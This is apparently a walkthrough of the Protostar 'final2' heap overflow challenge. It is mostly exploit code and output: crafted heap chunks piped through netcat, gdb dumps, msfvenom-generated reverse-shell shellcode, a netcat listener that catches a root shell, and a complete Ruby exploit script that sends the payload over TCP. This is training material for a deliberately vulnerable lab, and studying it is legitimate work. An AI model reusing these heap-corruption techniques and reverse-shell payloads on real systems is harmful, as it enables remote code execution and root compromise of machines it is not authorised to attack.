user@protostar:/tmp$ ruby -e 'print "FSRD" + "Aa0A" + "\xeb\x0a" + "X" * 10 + "D" * 107" + "/" + "FSRD" + "ROOT/" + [0xfffffff8].pack("V") + [0xfffffffc].pack("V") + [0x804d410].pack("V") + [0x804e010].pack("V") + "X" * 107' | nc 0 2993
gdb> x /30x 0x804e01c
0x804e01c: 0x44444444 0x44444444 0x44444444 0x44444444
0x804e02c: 0x44444444 0x44444444 0x44444444 0x44444444
0x804e03c: 0x44444444 0x44444444 0x44444444 0x44444444
0x804e04c: 0x44444444 0x44444444 0x44444444 0x44444444
0x804e05c: 0x44444444 0x44444444 0x44444444 0x44444444
0x804e06c: 0x44444444 0x44444444 0x44444444 0x44444444
0x804e07c: 0x44444444 0x44444444 0x00000084 0xfffffff8
0x804e08c: 0xfffffffc 0x0804d410
We can see above, that we have 26*4=104
bytes for our shellcode.
Exploitation:
# window 1:
# we add 0x5c = '/' to our bad chars list
root@kali32:~# /usr/share/metasploit-framework/msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=1337 -b '\x0a\x0d\x5c\x00' -f sh
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 22 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 95 (iteration=0)
Payload size: 95 bytes
export buf=\
$'\xb8\x23\x99\xa0\xea\xdd\xc0\xd9\x74\x24\xf4\x5f\x2b\xc9'\
$'\xb1\x12\x31\x47\x12\x03\x47\x12\x83\xe4\x9d\x42\x1f\xdb'\
$'\x46\x75\x03\x48\x3a\x29\xae\x6c\x35\x2c\x9e\x16\x88\x2f'\
$'\x4c\x8f\xa2\x0f\xbe\xaf\x8a\x16\xb9\xc7\x73\xe9\x39\x16'\
$'\xe4\xeb\x39\x1d\xcd\x62\xd8\xad\x4b\x25\x4a\x9e\x20\xc6'\
$'\xe5\xc1\x8a\x49\xa7\x69\x3a\x65\x3b\x01\x2c\x56\xd9\xb8'\
$'\xc2\x21\xfe\x68\x48\xbb\xe0\x3c\x65\x76\x62'
# window 2:
user@protostar:/tmp$ export buf=\
> $'\xb8\x23\x99\xa0\xea\xdd\xc0\xd9\x74\x24\xf4\x5f\x2b\xc9'\
> $'\xb1\x12\x31\x47\x12\x03\x47\x12\x83\xe4\x9d\x42\x1f\xdb'\
> $'\x46\x75\x03\x48\x3a\x29\xae\x6c\x35\x2c\x9e\x16\x88\x2f'\
> $'\x4c\x8f\xa2\x0f\xbe\xaf\x8a\x16\xb9\xc7\x73\xe9\x39\x16'\
> $'\xe4\xeb\x39\x1d\xcd\x62\xd8\xad\x4b\x25\x4a\x9e\x20\xc6'\
> $'\xe5\xc1\x8a\x49\xa7\x69\x3a\x65\x3b\x01\x2c\x56\xd9\xb8'\
> $'\xc2\x21\xfe\x68\x48\xbb\xe0\x3c\x65\x76\x62'
# window 3:
user@protostar:~$ nc -l -p 1337
# window 2:
user@protostar:/tmp$ ruby -e 'print "FSRD" + "Aa0A" + "\xeb\x0a" + "X" * 10 + ENV["buf"] + "D" * (107 - ENV["buf"].length) + "/" + "FSRD" + "ROOT/" + [0xfffffff8].pack("V") + [0xfffffffc].pack("V") + [0x804d410].pack("V") + [0x804e010].pack("V") + "X" * 107' | nc 0 2993
Process OK
# window 3:
id
uid=0(root) gid=0(root) groups=0(root)
#!/usr/bin/env ruby
require 'socket'
# user@protostar:~$ objdump -TR /opt/protostar/bin/final2 | grep "R_386_JUMP_SLOT.* write"
# 0804d41c R_386_JUMP_SLOT write
# gdb> print /x 0x0804d41c-0xc
# $1 = 0x804d410
# root@protostar:/tmp# ltrace -e memset -f /opt/protostar/bin/final2
# [pid 2803] +++ exited (status 0) +++
# [pid 2804] memset(0xbffff71c, '\000', 16) = 0xbffff71c
# [pid 2807] memset(0x0804e008, '\000', 132) = 0x0804e008 <= first chunk
# [pid 2807] memset(0x0804e090, '\000', 132) = 0x0804e090 <= second chunk
# [pid 2807] memset(0x0804e118, '\000', 132) = 0x0804e118 <= third chunk
# root@kali32:~# ruby -e 'puts "0x"+(0x0804e008+"FSDRAa0A".length).to_s(16)'
# 0x804e010
# root@kali32:~# /usr/share/metasploit-framework/msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=1337 -b '\x0a\x0d\x5c\x00' -f ruby
# No platform was selected, choosing Msf::Module::Platform::Linux from the payload
# No Arch selected, selecting Arch: x86 from the payload
# Found 22 compatible encoders
# Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
# x86/shikata_ga_nai succeeded with size 95 (iteration=0)
# Payload size: 95 bytes
buf =
"\xbf\x9e\x53\x7d\x18\xda\xc5\xd9\x74\x24\xf4\x5e\x33\xc9" +
"\xb1\x12\x31\x7e\x12\x83\xee\xfc\x03\xe0\x5d\x9f\xed\x2d" +
"\xb9\xa8\xed\x1e\x7e\x04\x98\xa2\x09\x4b\xec\xc4\xc4\x0c" +
"\x9e\x51\x67\x33\x6c\xe1\xce\x35\x97\x89\xaf\xc5\x67\x48" +
"\x38\xc4\x67\x4f\x81\x41\x86\xff\x97\x01\x18\xac\xe4\xa1" +
"\x13\xb3\xc6\x26\x71\x5b\xf6\x09\x05\xf3\x60\x79\x8b\x6a" +
"\x1f\x0c\xa8\x3e\x8c\x87\xce\x0e\x39\x55\x90"
chunk1 = "FSRD" + "Aa0A" + "\xeb\x0a" + "X" * 10 + buf + "D" * (107 - buf.length) + "/"
chunk2 = "FSRD" + "ROOT/" + [0xfffffff8].pack("V") + [0xfffffffc].pack("V") + [0x804d410].pack("V") + [0x804e010].pack("V") + "X" * 103
chunk3 = "DDDD"
exploit = chunk1 + chunk2 + chunk3
host = ARGV[0]
host ||= "192.168.80.154"
puts "Using host: #{host}"
s = TCPSocket.new host, 2993
s.puts(exploit)
s.close